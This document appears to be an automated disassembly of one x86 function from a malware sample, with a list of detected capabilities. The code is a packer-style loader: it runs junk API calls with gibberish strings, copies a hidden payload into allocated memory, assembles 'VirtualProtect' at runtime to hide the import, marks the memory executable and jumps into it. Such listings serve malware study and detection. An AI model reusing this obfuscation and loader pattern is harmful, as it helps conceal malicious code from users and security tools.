Function at 0x420b10
Capabilities:
Access the windows event log
Enumerate gui resources
Get hostname
Print debug messages
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xda0
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
cmp dword [ebp - 0x48], 0x15e6ce
jne 0x420c24
push 0x42a0f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x3d443
jne 0x420c24
push 0x7f2300
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8c71
jne 0x420c24
push str.dejahopufudukunelekikuruwazimila_bi_cujatizotacabemimadulovirudamabu_hukinu
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_AnimatePalette]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push esi
push str.piyebami_gevuki
call dword [sym.imp.KERNEL32.dll__lopen]
xor eax, eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0xc]
push edx
push esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xda0]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push str.futazecoki_je
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_TextOutW]
push str.comevonesakidozatinu_lavi
push str.jenupehixukazibejose_xemonaluxu_lazogayolowahatamulidugosiwuwu_tazotopuduxuzelihizu
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push esi
lea ecx, [ebp - 0x5a0]
push ecx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push str.wowixazodawavuwepufukapa_seyukufaka_vodoxekuyekufifawekice_bodokefiyuvamavewizaxozeguko_rucemebocayorojelecu_gekudihometeyula_yeyuhirosatalipotulito_zeno_xaforocagisegoralivodecajusi_tizatuhonixu
push esi
push 0x42a0f0
call fcn.0040407b
add esp, 0xc
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea edi, [ebp - 0x10c]
call fcn.00401d60
mov eax, edi
call fcn.004019c0
mov edi, dword [sym.imp.WINSPOOL.DRV_DeviceCapabilitiesW]
mov ebx, dword [sym.imp.USER32.dll_SetPropA]
cmp esi, 0xe48
jge 0x420c5a
push 0
lea edx, [ebp - 0x9a0]
push edx
push 0
push str.dipapawemefu_dakatopotemucegariyise
push str.jidujibevohayemimo_dubidahazohexivotuluyife_litagozevigecazicuhatazibejati_jugejuke_ra
call edi
push 0
push str.yabutuferalalazemizuvikujuliho_we_fo
push 0
call ebx
cmp esi, 0x25e5
jge 0x420c87
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
lea ecx, [ebp - 0x84]
push ecx
push 0
call dword [sym.imp.USER32.dll_GetGUIThreadInfo]
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
cmp esi, 0x225
jge 0x420cc2
push 0
lea eax, [ebp - 0x9a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
cmp esi, 0x3342e
jle 0x420ce5
cmp byte [ebp - 0x152], 0x19
je 0x420ce5
cmp dword [ebp - 0xc], 0x568311ec
je 0x420ce5
cmp dword [ebp - 8], 0x13b53ec
jne 0x420cf4
inc esi
cmp esi, 0x2ce240
jl 0x420c30
jmp 0x420d11
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x130]
push ecx
mov dword [0x434020], eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [0x429338]
mov edi, dword [sym.imp.GDI32.dll_GdiComment]
mov ebx, dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov dword [0x7f22fc], edx
xor esi, esi
jmp 0x420d30
cmp esi, 0xf15
jge 0x420d41
push 0
push 0
call sub.USER32.dll_ImpersonateDdeClientWindow
cmp esi, 0x2a6163
jne 0x420d55
add dword [0x7f22fc], 0xddede
jmp 0x420d72
cmp esi, 0x5b4
jge 0x420d72
push 0
push 0
push 0
call edi
push str.kulime_fitagonexekahaceduhukuzabukeyune_vuzuzofuyinoju
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x312c46
jl 0x420d30
mov eax, dword [0x7f22fc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov dword [0x43401c], eax
xor esi, esi
lea esp, [esp]
cmp esi, 0x127e
jge 0x420de1
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesExW]
push 0
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x5a0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
cmp esi, 0x193711
jne 0x420df5
mov eax, dword [0x42932c]
mov dword [0x7f910c], eax
jmp 0x420e23
cmp esi, 0x2110
jge 0x420e23
push str.domofifisenawurohevamayohobo_secodejomanusapo_safowedumalapijiwapu_tude_feyekilizixisehawiyuwane
call edi
push str.vehaco_vikotikotorugegarimibixogu_baluboloyapemofive_badolikuzujahetokipula_jahuyitikalefoli
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
lea ecx, [ebp - 1]
push ecx
mov byte [ebp - 1], 0
call dword [sym.imp.USER32.dll_LoadMenuIndirectA]
inc esi
cmp esi, 0x721be2
jl 0x420da0
xor esi, esi
cmp dword [0x7f22fc], esi
jbe 0x420eaa
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
cmp esi, 0x74a
jge 0x420e6a
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [ebp - 0x14]
push eax
push str.dawofa
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
cmp esi, 0x11b7
mov ecx, dword [0x7f910c]
mov dl, byte [esi + ecx + 0xddede]
mov eax, dword [0x43401c]
mov byte [esi + eax], dl
jge 0x420ea1
lea ecx, [ebp - 0x198]
push ecx
call edi
push 0
call ebx
push str.bajoseduniyokogope
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
inc esi
cmp esi, dword [0x7f22fc]
jb 0x420e46
push str.Virtual
push 0x42a0f0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Protect
push 0x42a0f0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x434020]
push 0x42a0f0
push edx
mov byte [0x42a0fe], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x7f22fc]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [0x43401c]
push 0x40
push edx
push ecx
mov dword [0x434018], eax
call eax
call fcn.00420aa0
add dword [0x7f22fc], 0x7b
call dword [0x43401c]
mov edx, dword fs:[0x2c]
mov eax, dword [edx]
pop edi
pop esi
mov dword [eax + 4], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10